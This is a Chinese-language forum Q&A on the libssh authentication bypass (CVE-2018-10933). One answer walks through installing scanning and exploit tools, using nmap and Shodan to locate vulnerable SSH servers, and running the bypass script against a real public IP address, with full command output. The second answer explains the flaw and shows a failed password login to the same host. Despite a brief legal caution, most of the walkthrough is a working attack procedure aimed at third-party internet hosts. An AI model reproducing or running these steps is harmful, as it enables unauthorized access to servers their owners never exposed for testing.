@Luminary
4年前 提问
2个回答

什么是 LibSSH 身份验证搜索和绕过

什么是LibSSH身份验证搜索和绕过?

齐士忠
4年前

步骤1:安装工具和依赖项

我们将用于扫描易受攻击的设备的第一个程序称为Nmap,可以轻松安装。在Kali上,默认情况下应该可以使用它,但是如果不是,则可以使用以下命令快速下载它。

apt install nmap
为了检测我们发现的设备是否容易受到攻击,我们将使用Python程序libssh-scanner。它是用Python 2.7编写的,因此,如果您仅安装了Python 3,则必须确保也安装Python 2.7。

要安装libssh-scanner,您需要克隆libssh-scanner存储库 5 通过在终端窗口中键入以下内容。

git clone https://github.com/leapsecurity/libssh-scanner.git
然后,在目录内导航并列出其内容之后,您必须通过运行 以下所示的pip命令来安装所需的库 。

cd libssh-scanner
ls
pip install -r requirements.txt

接下来,还必须安装该程序以执行攻击。这次,您正在克隆“ libSSH-Authentication-Bypass”存储库 11 并使用以下命令安装任何依赖项。

git clone https://github.com/purplesec/libSSH-Authentication-Bypass.git
cd libSSH-Authentication-Bypass
pip install -r requirements.txt

步骤2:使用NMAP扫描漏洞

修复或利用易受攻击的设备的第一步是找到它,并且在本地网络上查找可能需要引起注意的设备相对容易。为此,我们将使用一个名为Nmap的程序来定位运行SSH服务器的设备,并确定libssh是否正在其上运行。Nmap是任何黑客工具包中必不可少的工具,它使一个人可以快速扫描并发现给定网络或IP范围内的所有主机和服务。

在这种情况下,我们将扫描本地连接到我们网络的设备,Nmap会告诉我们网络上的每个设备是否正在使用易受攻击的libssh版本。要遵循本指南,您将需要安装Nmap,但是如果您使用Kali Linux,则可能已经安装了Nmap。

要使用libssh扫描并发现本地网络上的所有设备,请打开一个终端窗口并输入以下 nmap 命令。

nmap -sV -p22 192.168.0.0/24
分解命令, nmap 告诉计算机我们实际上要开始使用Nmap,而 -sV 告诉Nmap我们要执行服务扫描,该扫描将捕获开放端口上使用的任何服务的标志。标志 -p22 告诉Nmap仅扫描端口22(这是SSH通信的标准端口)上的设备。虽然这可能找不到在其他端口上使用SSH的设备,但是它将大大减少搜索时间。

最后,目标表示为子网范围;前三个字节对于您的搜索将是唯一的。当扫描一台计算机而不是一台计算机时,最后的0/24对于搜索整个子网至关重要。如果需要查找子网范围,可以使用“ ipcalc ”之类的工具 1个”,它将为您计算出来。为此,请通过键入ifconfig查找您的IP地址 ,然后键入 ipcalc yourIP (将“ yourIP”替换为您的IP地址)。

w1456

该命令将返回连接到该子网的设备的列表,以及从扫描端口收集的一些信息。在这种情况下,我们正在寻找使用早于0.7.6版本的libssh的任何目标。您可以期望看到如下所示的输出。

Nmap scan report for 172.16.42.1
Host is up (0.0098s latency).

PORT   STATE  SERVICE VERSION
22/tcp closed ssh

Nmap scan report for 172.16.42.32
Host is up (0.21s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     libssh 0.7.2 (protocol 2.0)

Nmap scan report for 172.16.42.53
Host is up (0.079s latency).

PORT   STATE  SERVICE VERSION
22/tcp closed ssh

Nmap scan report for 172.16.42.67
Host is up (0.024s latency).

PORT   STATE    SERVICE VERSION
22/tcp filtered ssh

步骤3:发现LIBSSH漏洞服务器

绝大多数易受攻击的服务器将可以通过远程网络进行访问,因此我们将需要以不同的方式进行搜索,以查找未直接连接到局域网的设备。

要找到远程目标,您将需要利用称为Shodan的服务 5,这是一个搜索引擎,可以找到连接到网络的任何设备-与Google不同,Google仅从端口80上的网络服务器返回结果。例如,Shodan可以将您定向到功能正常的IP摄像机的登录页面,如果默认密码未更改,则可能授予您访问摄像机的权限。

Shodan将为许多易受攻击的SSH服务器建立索引,我们可以通过端口号和其他关键字搜索来查找这些服务器,这些服务器显示运行0.7.6之前版本的libssh的主机,我们知道该主机已受到此漏洞的影响。

首先,注册一个免费帐户,您可以使用该帐户查看任何搜索查询的前两页或大约20个唯一设备。然后,要查找易受libssh攻击的服务器,您将在搜索中需要三个术语:

port:22,这是SSH协议的默认端口。即使可以将SSH移至任何未使用的端口,这也不是很常见,因为它的真正作用是通过简单扫描端口22来防止找到服务器。
LibSSH,它返回使用libssh库发布的所有服务器,表明它们可能被利用。
0.7。*,将搜索结果限制为使用以“ 0.7”开头的libssh版本的设备。并从结果中排除更多最新版本。虽然您可能仍会得到一些修补的结果,但是您将使用此过滤器消除大多数更新的设备。
上面的搜索将返回可能容易受到此攻击的IP地址的列表,以及Shodan能够检索到的更多信息。Shodan的信息可以包括横幅标语,设备的位置,最新活动以及对服务器进行控制的组织。

w1456%20(1)

步骤4:在服务器上测试LIBSSH漏洞

由于您已收集了容易受到该漏洞利用的目标列表(本地或远程),因此可以使用“ libssh-scanner”扫描目标IP地址,并确定它们是否仍然很容易受到攻击。其他工具甚至可以进一步尝试建立外壳,但是请务必注意,未经许可使用SSH访问另一台设备可能会违反《计算机欺诈和滥用法》。取决于谁拥有您要访问的设备,这可能使您陷入严重的法律麻烦。

除了法律上的考虑外,您还应该警惕从您的真实IP地址连接到可能有意受到此漏洞利用的设备。蜜罐通常以这种方式设置,以吸引业余黑客,并且您可能会发现自己身处配置为陷阱的设备中。

现在,使用libssh-scanner检查步骤2和3中收集的目标是否实际上容易受到该漏洞利用。为此,请创建一个TXT文件,其中包含在步骤2和3中找到的所有IP地址,每个IP地址都用新行分隔。将此文本文件命名为“ ips.txt”,并将其放置在与步骤1中先前下载的libssh-scanner相同的文件夹中。

进入目录后,在终端窗口中输入以下命令。

python libsshscan.py --port 22 --aggressive ips.txt
该命令将运行Python 2.7,扫描文本文件中的每个IP地址,并确定目标是否实际上容易受到CVE-2018-10933安全漏洞的攻击。正如您在下面看到的那样,执行扫描将Shodan的潜在目标列表缩小到一个,即159.180.132.163。

python libsshscan.py --aggressive --port 22 ips.txt

libssh scanner 1.0.4

Searching for Vulnerable Hosts...

* 52.151.63.100:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.2')
* 13.57.20.28:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 132.206.51.74:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 18.221.40.109:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 52.1.165.128:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 54.86.221.162:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 52.173.202.21:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 54.193.60.245:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
! 159.180.132.163:22 is likely VULNERABLE to authentication bypass (b'SSH-2.0-libssh-0.7.2')
* 34.194.133.107:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')

Scanner Completed Successfully

要检查一个结果,请使用libSSH-Authentication-Bypass测试攻击。将目录切换到您在步骤1中先前下载的libSSH-Authentication-Bypass文件夹中,然后输入以下命令,用您要扫描的IP地址替换“ 159.180.132.163”。

python3 libsshauthbypass.py --host 159.180.132.163
该命令在已部分打补丁但仍然容易受到身份验证绕过的服务器上返回以下输出。

python3 bypasswithfakekey.py --host 159.180.132.163
DEBUG:paramiko.transport:starting thread (client mode): 0x74a0d30
DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-paramiko_2.0.8
DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-libssh-0.7.2
INFO:paramiko.transport:Connected (version 2.0, client libssh-0.7.2)
DEBUG:paramiko.transport:kex algos:['diffie-hellman-group14-sha1', 'diffie-hellman-group1-sha1'] server key:['ssh-rsa'] client encrypt:['aes256-ctr', 'aes192-ctr', 'aes128-ctr', 'aes256-cbc', 'aes192-cbc', 'aes128-cbc', 'blowfish-cbc', '3des-cbc'] server encrypt:['aes256-ctr', 'aes192-ctr', 'aes128-ctr', 'aes256-cbc', 'aes192-cbc', 'aes128-cbc', 'blowfish-cbc', '3des-cbc'] client mac:['hmac-sha2-256', 'hmac-sha2-512', 'hmac-sha1'] server mac:['hmac-sha2-256', 'hmac-sha2-512', 'hmac-sha1'] client compress:['none', 'zlib', 'zlib@openssh.com'] server compress:['none', 'zlib', 'zlib@openssh.com'] client lang:[''] server lang:[''] kex follows?False
DEBUG:paramiko.transport:Kex agreed: diffie-hellman-group1-sha1
DEBUG:paramiko.transport:Cipher agreed: aes128-ctr
DEBUG:paramiko.transport:MAC agreed: hmac-sha2-256
DEBUG:paramiko.transport:Compression agreed: none
/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/rsakey.py:130: CryptographyDeprecationWarning: signer and verifier have been deprecated. Please use sign and verify instead.
  algorithm=hashes.SHA1(),
DEBUG:paramiko.transport:kex engine KexGroup1 specified hash_algo <built-in function openssl_sha1>
DEBUG:paramiko.transport:Switch to new keys ...
/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py:689: UserWarning: Unknown ssh-rsa host key for 159.180.132.163: b'7a7f8ca5b97cdd9356114ac650cc1353'
  key.get_fingerprint())))
DEBUG:paramiko.transport:userauth is OK
INFO:paramiko.transport:Authentication (password) failed.

Auth Bypassed of the server you trying to bypass but  can't spawn the shell it's patched, truncated or using wrong vulnerable libSSH version. -blacknbunny
一颗小胡椒
4年前
官方采纳

漏洞利用的工作方式

在普通的SSH会话中,用户将尝试使用用户名和密码登录,并且根据凭据是否有效,服务器将接受或拒绝连接。在下面的示例中,我们尝试通过在终端窗口中键入ssh username @ ipaddress来使用错误的密码登录到运行libssh的服务器 。
ssh root@159.180.132.163

The authenticity of host '159.180.132.163 (159.180.132.163)' can't be established.
RSA key fingerprint is SHA256:Vkx9gDp1E/df1Yn0bDrgXIIYcTnyCVU6vmgqLKKqrhQ.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '159.180.132.163' (RSA) to the list of known hosts.
root@159.180.132.163's password:
Permission denied, please try again.
root@159.180.132.163's password:
Permission denied, please try again.
root@159.180.132.163's password:
root@159.180.132.163: Permission denied (publickey,keyboard-interactive,password).

因为我们不知道密码,所以连接尝试被拒绝,并且我们被排除在服务器之外。最重要的是,如果我们尝试登录太多次而失败,则我们将被禁止连接该服务器一段时间。

在带有问题的libssh版本中,用户可以通过发送意外消息来指示连接已经成功,从而诱使系统认为他们已通过身份验证,而无需提供密码。它使攻击者可以在不知道密码的情况下完全控制受影响的系统,并且在具有受影响版本的libssh的任何系统中,它都是一个严重漏洞。

那么,该错误如何起作用?

想象一下,如果您仅告诉他们您住在那里,就能进入一个陌生人的房子。在这个技巧中,我们跳过了使用密码证明属于我们的过程,而是发送“成功”消息。